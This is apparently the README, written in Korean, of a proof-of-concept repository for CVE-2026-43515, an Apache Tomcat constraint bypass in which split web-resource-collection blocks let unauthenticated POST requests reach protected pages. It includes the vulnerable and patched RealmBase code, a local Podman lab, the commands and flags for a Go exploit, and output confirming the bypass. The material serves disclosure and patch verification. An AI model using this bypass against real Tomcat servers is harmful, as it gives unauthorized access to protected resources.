
CVE-2026-43515 (Apache Tomcat 제약 우회)에 대한 익스플로잇 가능성 PoC.
악용 가능성 판정: 악용 가능 확인. 분할된
<web-resource-collection>구성으로 보호되는 리소스에 대한 POST 요청이 인증을 완전히 우회합니다. 필요한web.xml형태는 표준 배포에서 흔하지 않습니다 — 자세한 내용은 분석을 참조하세요.
CVE-2026-43515는 Apache Tomcat의 보안 제약 평가 로직의 취약점입니다. 단일 <security-constraint>가 동일한 URL 확장자 패턴(예: *.html)을 공유하지만 각각 다른 HTTP 메서드를 선언하는 여러 <web-resource-collection> 블록을 정의할 때, Tomcat은 첫 번째로 일치하는 컬렉션에 선언된 HTTP 메서드에 대해서만 제약을 적용합니다. 이후의 모든 컬렉션은 자동으로 무시됩니다.
관리자의 의도:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — silently dropped -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
패치 이전의 Tomcat이 실제로 적용하는 것:
GET *.html → 401 — 제약 적용됨 ✓POST *.html → 200 — 제약이 자동으로 무시됨 ✗| 영향받는 범위 | 수정 버전 |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
| 10.1.0.M1 – 10.1.54 |
버그는 org.apache.catalina.realm.RealmBase의 findSecurityConstraints(Request, Context)에 있습니다. matched 플래그와 pos 인덱스가 컬렉션별 루프 외부에 선언되었습니다:
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching sets matched = true and pos = j
// on the FIRST matching collection ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos frozen to 0
results.add(constraints[i]);
}
}
collection[0]이 확장자 패턴 *.html과 일치하면 pos가 0으로 고정됩니다. 따라서 findMethod("POST") 호출이 collection[0](GET만 선언)에 대해 실행되어 false를 반환합니다. POST 요청에 대해 results에 제약이 추가되지 않으며, AuthenticatorBase는 요청이 어떤 제약에도 적용되지 않는다고 결론 내립니다.
수정(커밋 276087d)은 matched를 루프 내부로 이동하고 collection[pos]를 collection[j]로 대체하여 모든 컬렉션이 독립적으로 평가되도록 합니다:
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← moved inside the loop
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, not pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
우회가 확인되었으며 재현 가능합니다. Tomcat 상세 로그는 메커니즘을 명확하게 보여줍니다:
// GET — constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint → 200
취약점은 특정 web.xml 패턴에서만 발생합니다: 단일 <security-constraint>에 여러 <web-resource-collection> 블록이 동일한 확장자 패턴을 공유하지만 다른 HTTP 메서드를 선언하는 경우입니다.
이 구성은 Servlet 사양에 따라 유효하지만 실제로는 드뭅니다. 대부분의 배포는 다음 중 하나입니다:
<http-method>를 완전히 생략(모든 메서드 보호)하거나<security-constraint> 블록을 사용합니다분할 컬렉션 패턴을 사용하여 확장자 패턴에 세분화된 메서드별 접근 제어를 적용하는 배포가 노출됩니다.
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml # One valid user: validuser:s3cret! / role: admin
├── web.xml # Triggering config: split web-resource-collection
├── logging.properties # FINE-level logging to observe constraint evaluation
└── exploit/
├── exploit.go # PoC — Go
| 도구 | 버전 | 비고 |
|---|---|---|
| Podman | ≥ 4.0 | Docker도 작동합니다 |
| Go | ≥ 1.22 | 로컬에서 익스플로잇 실행용 |
외부 Go 종속성 없음.
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
몇 초 기다린 후 확인:
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
사용 가능한 플래그:
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| 리소스 | 링크 |
|---|---|
| 수정 커밋 — 11.0.x | apache/tomcat@276087d |
| 전체 분석 — 블로그 글 | return-zero.dev/posts/cve-2026-43515 |
이 저장소는 교육 목적 및 로컬 악용 가능성 분석 전용으로 제공됩니다. 모든 테스트는 자체 호스팅 컨테이너 환경에서 수행되었습니다. 소유하지 않거나 명시적인 서면 승인을 받지 않은 시스템에 대해 이 PoC를 실행하지 마십시오.
| 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
| 플래그 | 기본값 | 설명 |
|---|
-target | http://localhost:8080 | Tomcat 기본 URL |
-path | /protected/secret.html | 보호된 리소스의 경로 |
-username | validuser | 정상 확인용 유효 사용자 이름 |
-password | s3cret! | 정상 확인용 비밀번호 |